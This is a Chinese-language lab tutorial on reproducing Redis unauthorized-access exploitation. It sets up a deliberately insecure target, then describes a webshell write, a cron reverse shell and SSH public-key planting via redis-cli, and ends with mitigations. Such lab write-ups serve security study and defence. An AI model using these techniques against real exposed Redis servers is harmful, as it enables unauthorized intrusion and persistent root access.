Redis未授权访问漏洞复现及利用
- 一、Redis相关介绍
- 应用场景
- 常用语法
- 漏洞发现
- 二、漏洞复现
- 环境搭建
- Centos 7 环境配置
- 安装Apache
- 安装PHP
- 安装Redis
- 漏洞利用准备
- kali安装Redis
- windows安装Redis
- 三、未授权访问漏洞利用
- webshell
- 反弹shell
- 写公钥
- 主从复制RCE
- 四、预防措施
- 五、其他问题
一、Redis相关介绍
Redis是完全开源的,遵守BSD协议,是一个高性能的key-value数据库。
应用场景
在Java web中主要有两个应用场景:
- 存储、缓存用的数据
- 需要高速读写的场合使用它快速读写
常用语法
- 连接命令(可远程操作,需要对配置文件进行更改)
redis-cli -h <host> -p <port> -a <password>
参数 | 含义 |
-h | 主机IP |
-P | 主机端口 |
-a | Redis服务密码 |
set key value
设置指定的key值。key为自定义的变量名;value为赋值的内容,可以为数字,字符串。
get key
获取指定的key值
keys *
获取当前数据库中所有的key
config set dir /XXX/XXX/XX
设置工作目录,必须是绝对路径,而且已经存在
config set dbfilename xxx
设置备份文件名
save
进行备份
flushall
删除所有数据
漏洞发现
- nmap端口扫描,Redis默认端口为6379
- fofa搜索
https://fofa.so/ - shodan
https://www.shodan.io/
二、漏洞复现
整个过程中,使用的是Centos 7,Redis选择的是6.2.1版本。
环境搭建
Centos 7 环境配置
首先安装Apache和PHP,为后续的webshell做铺垫。
安装Apache
sudo yum -y install httpd
打开防火墙的80端口,允许访问
sudo firewall-cmd --permanent --zone=public --add-service=http
sudo firewall-cmd --reload
设置开机启动
sudo systemctl enable httpd
Apache的配置文件位于:/etc/httpd/conf
中的httpd.conf
文件
配置可以解析PHP,在配置文件中添加
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
重启Apache服务
systemctl restart httpd
安装PHP
因yum源中,不包含PHP相关内容,所以需要更改下yum源
sudo rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
sudo rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
对yum源进行一下升级,更新一下软件包
sudo yum -y upgrade
安装PHP
sudo yum -y install php72w
sudo yum install php72w-common php72w-fpm php72w-opcache php72w-gd php72w-mysqlnd php72w-mbstring php72w-pecl-redis php72w-pecl-memcached php72w-devel
以上内容还包括了一些开发所使用的包,不用第二条命令应该也是可以的。
重启Apache服务
systemctl restart httpd
对上述环境进行一下验证
直接通过IP访问,出现下图说明Apache安装并配置成功
进入Apache默认网络应用路径/var/www/html
,创建t.php
文件,内容如下:
<?php echo phpinfo();?>
通过IP/t.php访问,出现下图,说明Apache已经可以解析PHP文件,并且PHP安装并配置成功。
安装Redis
- 升级GCC
sudo yum -y install centos-release-scl
sudo yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils
sudo scl enable devtoolset-9 bash
可以用gcc --version
来查看更新之后的版本
[root@localhost local]# gcc --version
gcc (GCC) 9.3.1 20200408 (Red Hat 9.3.1-2)
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- 安装tcl
sudo yum install tcl
- 安装Redis
wget https://download.redis.io/releases/redis-6.2.1.tar.gz
tar zxvf redis-6.2.1.tar.gz
cd redis-6.2.1/
make
make test
make install
开放防火墙的Redis的服务端口,否则无法允许其他IP进行访问
sudo firewall-cmd --permanent --zone=public --add-service=redis
sudo firewall-cmd --reload
- 配置Redis(允许远程链接,并且允许无密码登录)
配置文件目录:redis-6.2.1/
文件夹中的redis.conf
文件。
- 取消IP绑定,允许除主机之外的机器远程登录Redis
查看bind 127.0.0.1
,前面是否有#
,若没有则添加。
- 关闭保护模式
将protected-mode yes
,修改为protected-mode no
在Redis3.2版本以前,不具备该参数,可以忽略。
执行redis-server
开启Redis服务,出现如下图内容,说明安装成功
使用虚拟机的各位,记得保存快照哦!!!!!
漏洞利用准备
kali安装Redis
这里使用6.2.1版本也是没问题的,只不过我之前配好了6.0.3版本之后才发现还有6.2.1这个更新的版本。
wget http://download.redis.io/releases/redis-6.0.3.tar.gz
tar -zxvf redis-6.0.3.tar.gz
cd redis-6.0.3/
make
make test
cd src
cp redis-cli /usr/bin
执行make,make test都需要较长的时间,稍安勿躁。
以上命令全部执行完毕之后,打开两个终端,分别执行:
redis-server
redis-cli
出现上述结果,在kali中安装Redis就是成功了。
windows安装Redis
微软老大哥已经为我们准备好了windows版的Redis,直接安装使用,或者解压即可。
我在这里选择的是使用压缩包。
解压后,在对应的目录下执行:
.\redis-server.exe redis.windows.conf
出现上述结果,即使成功安装。
三、未授权访问漏洞利用
保持centos一直开始Apache、Redis的状态
操作机 | IP |
攻击机:kali | 192.168.1.6 |
攻击机:win10 | 192.168.1.100 |
目标机:centos 7 | 192.168.1.11 |
centos7 开启Redis的时候需要执行
redis-server /usr/local/redis-6.2.1/redis.conf
通过使用上述命令,来通过配置文件的内容启动Redis服务。如果仅仅使用
redis-server
,protected-mode
的结果还是yes
,将无法进行操作。使用较低版本的Redis不会出现这一情况。
webshell
- 远程连接Redis
- 写入webshell
使用浏览器,访问192.168.1.11/shell.php
,可以看到页面返回的内容,不过有一些乱码。
- 使用webshell管理工具进行连接
我这里选择使用的是蚂剑,如果其他的菜刀不行,可以多换几把刀,多试试。
可以看到蚁剑已经成功链接到了靶机。
反弹shell
- 创建定时任务
- 开启nc,监听9999端口,耐心等待1分钟,查看靶机信息。
写公钥
如果系统没有使用过root权限进行ssh登陆的话,是不存在/root/.ssh文件夹的。
首次需要执行
sudo ssh localhost
,输入root用户密码后,成功使用root权限进行ssh登陆,并自动创建.ssh文件夹
- 创建、查看公钥
ssh-keygen -t rsa
cd /root/.ssh
cat id_rsa.pub
- 在公钥前后添加空行,防止有其他数据污染,并重定向到一个新文件中(文件名可自由定义)
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/key.txt
- 向目标机的Redis中写入key-value值(pubkey,可自由命名)
cat /tmp/key.txt | redis-cli -h 192.168.1.100 -p 6379 -x set pubkey
- 将公钥内容写在
authorized_keys
文件中
- 攻击机采用ssh,远程登录到目标机
需要退出ssh登录的话,使用命令logout
主从复制RCE
这里主要是使用redis-rogue-server
的项目脚本,里面的使用情况说明的比较详细。
https://github.com/Dliv3/redis-rogue-server
因没有外网的vps,没有进行尝试。
四、预防措施
- 尽可能使用稳定的高版本Redis
在整个文档的记录过程中,尝试过从3.X版本到6.X版本,越新的版本对于默认配置更加的严格,甚至已经将protected-mode
改为了no
,如果仅仅使用redis-server
启动服务,会自动将protected-mode
变为yes
- 谨慎修改配置文件,以白名单的形式来允许远程访问
- 为Redis配置密码,使用密码进行登录
- 在防火墙中设置好白名单和过滤
- 修改服务的默认端口
五、其他问题
在整个过程中,也使用过ubuntu,但是反弹shell一直都无法正常的反弹。最终更换使用了centos7,反弹shell这一部分是没有问题的,可以的到正常的结果。
推测是因为ubuntu没有配置邮件服务导致的crontab没有正常执行,因个人技术有限,还是没能解决这一问题。欢迎大佬们多多交流。